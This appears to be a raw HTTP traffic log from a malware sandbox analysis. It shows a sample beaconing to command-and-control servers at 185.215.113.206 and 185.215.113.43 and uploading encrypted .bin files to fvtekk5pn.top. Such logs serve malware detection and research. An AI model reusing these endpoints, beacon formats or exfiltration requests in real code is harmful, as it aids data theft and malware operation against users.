Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDBKJKFIECAAAKFBFBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 33 37 43 43 39 37 37 41 32 43 31 32 30 34 33 34 39 37 34 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 42 4b 4a 4b 46 49 45 43 41 41 41 4b 46 42 46 42 2d 2d 0d 0a Data Ascii: ------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="hwid"E837CC977A2C1204349748------FHJDBKJKFIECAAAKFBFBContent-Disposition: form-data; name="build"mars------FHJDBKJKFIECAAAKFBFB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------huoZBZhsElcAhAmWRS9wTjData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 68 75 6f 5a 42 5a 68 73 45 6c 63 41 68 41 6d 57 52 53 39 77 54 6a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 69 6e 61 6b 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a af 79 1e 75 d9 27 a6 28 cc be 16 c1 7e 6e 5b 92 c5 16 a0 be 6b 2c 6c 43 ec f5 7d b2 9d 45 e5 bb 93 d5 1d 92 87 e4 18 ad 02 d1 98 1b 36 96 a1 6f ca 43 35 1c f5 ac 70 3e 37 9b df 3a 24 fe 30 22 60 ee 2c cc c9 e3 da 2d 2d 65 b9 f0 48 fb c9 56 3a 91 94 ee 31 a3 33 af 34 85 55 e4 24 ef 8e e9 5b 0b 29 ae 2f 08 34 69 39 30 aa a2 4c ea dc 23 bb 36 e0 b1 ab 6f e2 8f 35 77 0c 16 f0 8c 02 9e 50 41 99 f8 c6 2b c6 65 40 ca 87 3d ff ce 28 c0 00 56 96 4f 3d 99 2d 06 6c da a2 a0 0a 64 0d 9b 0e a7 98 6e 7a 3c 17 dd c1 fe f0 01 de 2d 65 50 71 09 c7 35 7e 29 48 04 84 0c 42 e4 1e 7f ab ae 5f b6 7f 3f 59 8c e8 6e 67 87 ed f2 3e 7b 4a d7 6e 3a e1 37 ee a7 dc b9 1b d9 36 c8 a7 20 f5 9f d5 d8 38 e9 11 60 eb f8 43 fe 10 97 95 85 a9 92 a2 40 30 05 ab 78 22 fb 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 68 75 6f 5a 42 5a 68 73 45 6c 63 41 68 41 6d 57 52 53 39 77 54 6a 2d 2d 0d 0a Data Ascii: --------------------------huoZBZhsElcAhAmWRS9wTjContent-Disposition: form-data; name="file"; filename="Zinake.bin"Content-Type: application/octet-streamyu'(~n[k,lC}E6oC5p>7:$0"`,--eHV:134U$[)/4i90L#6o5wPA+e@=(VO=-ldnz<-ePq5~)HB_?Yng>{Jn:76 8`C@0x"--------------------------huoZBZhsElcAhAmWRS9wTj--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 58863Content-Type: multipart/form-data; boundary=------------------------aX8J5YGYSwLBQWwReB1BTSData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 58 38 4a 35 59 47 59 53 77 4c 42 51 57 77 52 65 42 31 42 54 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 58 69 74 6f 6d 69 78 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a b0 90 8e 8e 17 5c 18 5e fc 02 74 55 7e 36 42 ed 5e 3d b9 59 6e cb 75 6c 07 0e ac b8 2d 66 b7 d0 57 e9 95 86 b0 89 b9 78 a9 1c 15 8c d2 32 1b c0 8c 75 8d ac 36 84 a3 f0 35 10 54 a1 bb 83 4b fd b1 e6 ac b6 c7 23 d4 37 90 ea 67 c9 78 a6 03 dd e2 18 84 89 53 4d 38 2a e9 de f4 06 95 3a 47 5c 03 82 f0 16 ff 0a d5 48 80 c3 73 dd e4 92 33 76 dd ab 38 03 af 30 d2 7c 26 62 9d 3d 8c fe 23 cc 98 92 4e 2f 85 f7 74 c9 df 4f a8 6e 04 b8 f6 ff be db 54 45 ba 1a ba 9a f5 f3 28 c2 87 59 d8 6a 3d 4e a5 d0 db 11 5c b6 f9 fc 10 d7 81 c6 9f 7c 05 3d 38 fd 4b 51 a8 1d b9 6a b4 76 28 13 58 38 d1 e0 52 61 2f 8c f1 13 4c 31 e4 48 4d 7d 08 38 d0 ab dd bf 62 98 e8 96 c4 84 40 5f e7 a6 d2 b5 42 c9 97 19 9a 69 07 54 8f fb 33 2e 8d 18 fc 5c 7d fb 15 d6 26 3b c0 30 2e 82 c6 b9 38 4d 5f 9e 80 bd c0 6c 04 9a f2 72 e3 ac bb 7d 40 d2 7b e1 94 95 e4 ab 2b 7d 04 b1 d5 e7 32 21 cd 2d 31 44 20 1c 89 48 64 1a ca 48 a1 b8 65 fe bb 43 48 c9 26 02 cf f2 0b 40 13 49 c5 6f 6b 35 5a 25 05 19 f3 0b 26 72 d1 d1 ad d9 ec 8b b9 9a 60 79 8c 07 5f 28 ee 7d 3c 74 87 e5 90 a8 ce 3c 7e 83 7b ef 31 56 5e 22 e2 65 44 ae 86 af a7 35 62 45 53 86 22 8a 12 53 4e af 2a 96 f7 44 a8 b2 b9 77 05 06 55 5b e1 0c 6a 14 50 89 fb 6a b1 dd bc d3 48 24 92 e1 89 2c c3 3c 63 3d 86 d6 5a d5 09 d9 90 fe a7 3f bf 73 5f 36 af 34 ad e2 b2 bf 0e e5 5b df c6 3b 9a 17 7e c8 99 06 11 1e bf 71 a6 e1 2c 41 fa 44 70 a2 80 f0 9e a6 bd 18 07 27 99 f0 bb a8 02 21 2b 59 b8 dd fd 11 ba fd 7e 40 34 d5 09 44 71 1f 96 9a 37 32 35 ec 94 b9 a8 d1 4d 89 69 01 97 d5 4e 60 ab 3d a4 4b af 36 2a ae 98 37 05 fe bf e0 90 c4 8f e6 f0 92 f3 00 6f de da 75 10 93 a6 6c 98 a7 c9 2f 0d f9 bf 74 d9 f9 0b 5e 9e ef b6 66 e9 22 2f ca d3 ae 17 9f b9 2f 4b 3b 81 e4 c8 70 8e 6e 03 80 04 03 4f a2 90 9b c1 d8 49 52 65 e4 08 ec 1a 0e c5 19 ac 4b cd fc e6 7b f8 ca 60 a8 36 05 af 68 73 19 5f 83 a4 50 c1 2e 29 12 55 45 c5 5c a3 3d 70 ec 45 94 ad bd f3 0b 99 25 de 85 74 9f e5 4b 40 f9 60 3c be c5 28 27 36 ab 9c 57 de 33 34 89 97 be d2 d1 91 56 bd ff 73 09 0a 8b e2 97 c7 b9 df d2 ad 48 db d4 93 06 27 f4 7c 51 4c 3c 87 e7 0f d3 38 33 07 fa 6d 66 11 70 b4 06 e9 10 52 b6 22 a7 5e 43 1b 8e c9 af d4 ae be a9 20 bf 05 ae b0 cb ae 28 6d 0f a2 6d ac b9 c1 b9 21 de 6b 3d 5d d5 b0 61 ae 76 77 97 f4 65 80 89 1e 9a 84 12 d6 96 9a 9b 75 f8 ee 36 ba bf 96 47 b3 30 fa fa 3c b1 34 89 37 6d 6f 27 93 6e 58 f7 f5 6b 74 d4 ad 7e
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
